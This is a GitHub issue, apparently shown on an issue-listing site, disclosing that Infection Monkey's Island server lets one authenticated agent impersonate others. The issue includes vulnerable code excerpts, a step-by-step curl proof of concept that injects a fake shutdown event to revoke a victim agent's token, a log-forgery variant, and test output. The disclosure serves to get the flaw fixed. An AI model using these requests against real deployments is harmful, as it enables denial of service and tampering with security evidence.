guardicore / guardicore/monkey

Authenticated agent can inject events impersonating other agents, revoking their tokens

Open
#4,299 1 comment 0 reactions 0 assignees View on GitHub
Bug
Dominant language
Python
Stars
7.1k
Forks
830
PR merge metrics
No merged PRs in 30d

Description

### Summary

An authenticated Infection Monkey agent can inject arbitrary agent events, including `AgentShutdownEvent`, with any other agent's UUID as the `source` field. Because the Island does not verify that the event's `source` matches the submitting agent's identity, this allows one agent to impersonate another. When a shutdown event is injected for a victim agent, the Island immediately revokes the victim agent's authentication token and marks it as stopped, causing a denial of service and falsifying the simulation's recorded state.

### Details

Agent events are submitted via `POST /api/agent-events` in `monkey/monkey_island/cc/resources/agent_events.py`. The endpoint requires an `AGENT`-role token but performs no check that the `source` field inside each submitted event matches the identity of the authenticated caller:

```python
# monkey/monkey_island/cc/resources/agent_events.py
@auth_token_required
@roles_accepted(AccountRole.AGENT.name)
def post(self):
serialized_events = request.json
deserialized_events = []
for event in serialized_events:
serializer = self._event_serializer_registry[event[EVENT_TYPE_FIELD]]
deserialized_events.append(serializer.deserialize(event)) # source taken verbatim
for deserialized_event in deserialized_events:
self._agent_event_queue.publish(deserialized_event)
return {}, HTTPStatus.NO_CONTENT
```

Agent users are created with `username=str(agent_id)` in `agent_otp_login.py`. A correct implementation would validate `event.source == UUID(current_user.username)` before accepting each event, but no such check exists.

When an `AgentShutdownEvent` is processed, two Island event handlers fire:

1. `update_agent_shutdown_status` (`cc/agent_event_handlers/update_agent_shutdown_status.py`):
```python
def __call__(self, event: AbstractAgentEvent):
agent_id = event.source # taken verbatim from injected event
agent = self._agent_repository.get_agent_by_id(agent_id)
agent.stop_time = datetime.fromtimestamp(event.timestamp, tz=pytz.UTC)
self._agent_repository.upsert_agent(agent)
```

2. `AgentUserRemover.remove_on_shutdown` (`cc/services/authentication_service/register_event_handlers.py`):
```python
def remove_on_shutdown(self, event: AbstractAgentEvent):
agent_id = event.source # taken verbatim from injected event
self._authentication_facade.remove_user(str(agent_id))
```
`remove_user` calls `revoke_all_tokens_for_user` then `delete_user`, permanently revoking the victim's auth token.

The same missing check affects two additional agent-only endpoints:
- `PUT /api/agent-logs/` (`cc/services/log_service/flask_resources/agent_logs.py`): any agent can overwrite the diagnostic logs stored for any other agent's UUID, enabling evidence tampering.
- `POST /api/agent//heartbeat` (`cc/resources/agent_heartbeat.py`): any agent can submit heartbeats attributed to any other agent's UUID, manipulating the liveness tracking used to set `stop_time`.

In a typical multi-hop BAS run, the parent agent passes its own UUID as the `--parent` flag when launching child agents, so each child already knows its parent's UUID and can target it.

### PoC

Prerequisites: a running Infection Monkey Island (tested on v2.3.0), one registered operator account, and two agent sessions authenticated via the OTP flow.

```bash
ISLAND="https://localhost:5000"

# Step 0: register operator and obtain operator token
OPERATOR_TOKEN=$(curl -sk -X POST $ISLAND/api/register \
-H "Content-Type: application/json" \
-d '{"username":"operator","password":"Secure123!"}' \
| python3 -c "import sys,json;print(json.load(sys.stdin)['response']['user']['authentication_token'])")

# Step 1: create attacker agent session via OTP
OTP_A=$(curl -sk $ISLAND/api/agent-otp -H "Authentication-Token: $OPERATOR_TOKEN" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['otp'])")
ATTACKER_UUID="aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa"
ATTACKER_TOKEN=$(curl -sk -X POST $ISLAND/api/agent-otp-login \
-H "Content-Type: application/json" \
-d "{\"agent_id\":\"$ATTACKER_UUID\",\"otp\":\"$OTP_A\"}" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['response']['user']['authentication_token'])")

# Step 2: register attacker agent in the Island's agent repository
START=$(python3 -c "from datetime import datetime,timezone;print(datetime.now(timezone.utc).isoformat())")
curl -sk -o /dev/null -w "%{http_code}\n" -X POST $ISLAND/api/agents \
-H "Authentication-Token: $ATTACKER_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"id\":\"$ATTACKER_UUID\",\"machine_hardware_id\":100,\"start_time\":\"$START\",\"parent_id\":null,\"cc_server\":{\"ip\":\"127.0.0.1\",\"port\":5000},\"network_interfaces\":[\"10.0.0.1/24\"],\"sha256\":\"cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc\"}"
# expected: 204

# Step 3: create victim agent session via OTP
OTP_V=$(curl -sk $ISLAND/api/agent-otp -H "Authentication-Token: $OPERATOR_TOKEN" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['otp'])")
VICTIM_UUID="bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb"
VICTIM_TOKEN=$(curl -sk -X POST $ISLAND/api/agent-otp-login \
-H "Content-Type: application/json" \
-d "{\"agent_id\":\"$VICTIM_UUID\",\"otp\":\"$OTP_V\"}" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['response']['user']['authentication_token'])")

# Step 4: register victim agent (child of attacker)
curl -sk -o /dev/null -w "%{http_code}\n" -X POST $ISLAND/api/agents \
-H "Authentication-Token: $VICTIM_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"id\":\"$VICTIM_UUID\",\"machine_hardware_id\":200,\"start_time\":\"$START\",\"parent_id\":\"$ATTACKER_UUID\",\"cc_server\":{\"ip\":\"127.0.0.1\",\"port\":5000},\"network_interfaces\":[\"10.0.0.2/24\"],\"sha256\":\"dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd\"}"
# expected: 204

# Step 5: confirm victim token is valid before attack
curl -sk -o /dev/null -w "%{http_code}\n" $ISLAND/api/agent-configuration \
-H "Authentication-Token: $VICTIM_TOKEN"
# expected: 200

# Step 6: attacker injects fake AgentShutdownEvent with victim's UUID as source
TS=$(python3 -c "import time;print(time.time())")
curl -sk -o /dev/null -w "%{http_code}\n" -X POST $ISLAND/api/agent-events \
-H "Authentication-Token: $ATTACKER_TOKEN" \
-H "Content-Type: application/json" \
-d "[{\"type\":\"AgentShutdownEvent\",\"source\":\"$VICTIM_UUID\",\"timestamp\":$TS,\"tags\":[]}]"
# expected: 204

# Step 7: victim token is now revoked
curl -sk -o /dev/null -w "%{http_code}\n" $ISLAND/api/agent-configuration \
-H "Authentication-Token: $VICTIM_TOKEN"
# expected: 401

# Step 8: operator confirms victim is falsely marked as stopped
curl -sk $ISLAND/api/agents -H "Authentication-Token: $OPERATOR_TOKEN" \
| python3 -c "import sys,json; [print('stop_time:',a.get('stop_time')) for a in json.load(sys.stdin) if a['id']=='bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb']"
# expected: stop_time: 20XX-XX-XXTXX:XX:XX...
```

Observed output from a live test run:

```
Step 5 (victim token valid): HTTP/1.1 200
Step 6 (inject shutdown): HTTP/1.1 204
Step 7 (victim token revoked): HTTP/1.1 401
Step 8 (victim stop_time set): 2026-06-20T02:17:24.038867Z
```

The log-overwrite variant is equally straightforward:

```bash
# Attacker overwrites victim's diagnostic log
curl -sk -o /dev/null -w "%{http_code}\n" -X PUT \
$ISLAND/api/agent-logs/$VICTIM_UUID \
-H "Authentication-Token: $ATTACKER_TOKEN" \
-H "Content-Type: application/json" \
-d '"Attacker forged this log entry"'
# expected: 204

# Operator reads victim log and sees forged content
curl -sk $ISLAND/api/agent-logs/$VICTIM_UUID \
-H "Authentication-Token: $OPERATOR_TOKEN"
# expected: "Attacker forged this log entry"
```

### Impact

Any authenticated Monkey agent can inject events on behalf of other agents without restriction. The most severe consequence is that the attacker agent can force-terminate any peer agent: the victim's Island authentication token is immediately revoked and it is marked as stopped, preventing it from completing any further work or reporting results. An agent executing on a compromised host can therefore silently disable the agents responsible for detecting or reporting that host's compromise.

Secondary impacts include: diagnostic log falsification (hiding exploitation evidence from the operator) and heartbeat spoofing (keeping a stopped agent appearing alive, or permanently extending a running agent's apparent lifetime).

Affected Versions: <= 2.3.0, confirmed on commit a55fc8dfe7ba800c5932ca6eadb1ad4b925d6f28

Contributor guide

Open the contributing guide

Research direction

Start with monkey/monkey_island/cc/resources/agent_events.py and trace how the authenticated agent identity is exposed by the OTP login and auth decorators. Then compare the identity checks needed in agent_logs.py and agent_heartbeat.py; done means agent-only requests cannot act for a different UUID while legitimate requests still work, including the event shutdown path.

Written by the indexing model from the issue text.

Assessment

Tech stack
python
Domain
api, authentication, backend, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
52/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.